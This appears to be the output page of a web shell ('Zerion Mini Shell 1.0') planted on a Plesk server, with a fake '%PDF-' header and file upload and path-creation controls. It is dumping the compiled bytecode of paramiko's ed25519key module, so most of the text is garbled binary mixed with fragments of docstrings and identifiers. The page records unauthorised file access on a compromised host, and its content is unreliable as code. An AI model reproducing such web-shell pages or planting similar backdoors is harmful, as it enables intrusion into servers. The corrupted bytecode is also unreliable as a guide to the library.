%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyc

�
��Abc@s�ddlZddlmZddlmZddlZddlmZddl	m
Z
mZmZddl
mZddlmZmZde
fd	��YZdS(
i����N(tdefault_backend(tCipher(tMessage(tPKeytOPENSSH_AUTH_MAGICt_unpad_openssh(tb(tSSHExceptiontPasswordRequiredExceptiont
Ed25519KeycBsweZdZd
d
d
d
d
d�Zd�Zd�Zed��Zd�Z	d�Z
d�Zd
d�Zd	�Z
RS(s
    Representation of an `Ed25519 <https://ed25519.cr.yp.to/>`_ key.

    .. note::
        Ed25519 key support was added to OpenSSH in version 6.5.

    .. versionadded:: 2.2
    .. versionchanged:: 2.3
        Added a ``file_obj`` parameter to match other key classes.
    c
CsAd|_d}}|dkr:|dk	r:t|�}n|dk	r}|jd|dddd�tjj|j��}nf|dk	r�t|d��}|j	d|�\}	}WdQXn'|dk	r�|j	d|�\}	}n|s�|r|j
||�}n|dkr+|dkr+td��n||_||_
dS(	Ntmsgtkey_typesssh-ed25519t	cert_types ssh-ed25519-cert-v01@openssh.comtrtOPENSSHs
need a key(tNonetpublic_blobRt_check_type_and_load_certtnacltsigningt	VerifyKeyt
get_binarytopent_read_private_keyt_parse_signing_key_datat
ValueErrort_signing_keyt_verifying_key(
tselfR
tdatatfilenametpasswordtfile_objt
verifying_keytsigning_keytftpkformat((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyt__init__*s*	
	!	cCsoddlm}t|�}|jtt��tkrFtd��n|j�}|j�}|j�}|j	�}|dkr�|s�|dkr�td��q�nT|dkr�|s�t
d��nt|�}	|	j�}
|	j	�}ntd��|dkr$||jkr$td��ng}xZt|�D]L}
t|j��}|j�dkrptd��n|j
|j��q7W|j�}|dkr�|}n�|j|}tjdt|�d	|
d
|d|dd
|dt�}t|d||d �|d||d�dt��j�}|j|�|j�}tt|��}|j	�|j	�kr�td��ng}x�t|�D]�}|j�dkr�td��n|j�}|j�}tjj|d �}|jj�|ko ||ko |dkns+t�|j
|�|j�q�Wt|�dkrgtd��n|dS(Ni����(t	TransportsInvalid keytnonetbcryptsPrivate key file is encryptedsssh-ed25519Rtsalttdesired_key_bytesskey-sizes
block-sizetroundstignore_few_roundstclasstmodetbackendi ii(tparamiko.transportR&Rt	get_bytestlenRRtget_textRtget_intRt_cipher_infotrangetappendR(tkdfRtTrueRRt	decryptortupdatetfinalizeRRRt
SigningKeyt
verify_keytencodetAssertionError(RRRR&tmessaget
ciphernametkdfnamet
kdfoptionstnum_keysR8tbcrypt_saltt
bcrypt_roundstpublic_keyst_tpubkeytprivate_ciphertexttprivate_datatciphertkeyR:tsigning_keystitpublictkey_dataR"((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyRGsz	
		
cCsW|j�r|jj}n	|j}t�}|jd�|j|j��|j�S(Nsssh-ed25519(tcan_signRR>RRt
add_stringR?tasbytes(Rtvtm((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyRU�s		
cCs4|j�r|jj}n	|j}|j�|fS(N(RSRR>Rtget_name(RRV((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyt_fields�s	cCsdS(Nsssh-ed25519((R((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyRX�scCsdS(Ni((R((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pytget_bits�scCs
|jdk	S(N(RR(R((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyRS�scCs6t�}|jd�|j|jj|�j�|S(Nsssh-ed25519(RRTRtsignt	signature(RRt	algorithmRW((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyt
sign_ssh_data�s	
cCsV|j�dkrtSy|jj||j��Wntjjk
rMtSXtSdS(Nsssh-ed25519(	R3tFalseRtverifyRRt
exceptionstBadSignatureErrorR9(RRR
((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pytverify_ssh_sig�sN(t__name__t
__module__t__doc__RR%RRUtpropertyRYRXRZRSR^Rc(((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyR	s
	`	
			(R(tcryptography.hazmat.backendsRt&cryptography.hazmat.primitives.ciphersRtnacl.signingRtparamiko.messageRt
paramiko.pkeyRRRtparamiko.py3compatRtparamiko.ssh_exceptionRRR	(((sH/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ed25519key.pyt<module>s

Zerion Mini Shell 1.0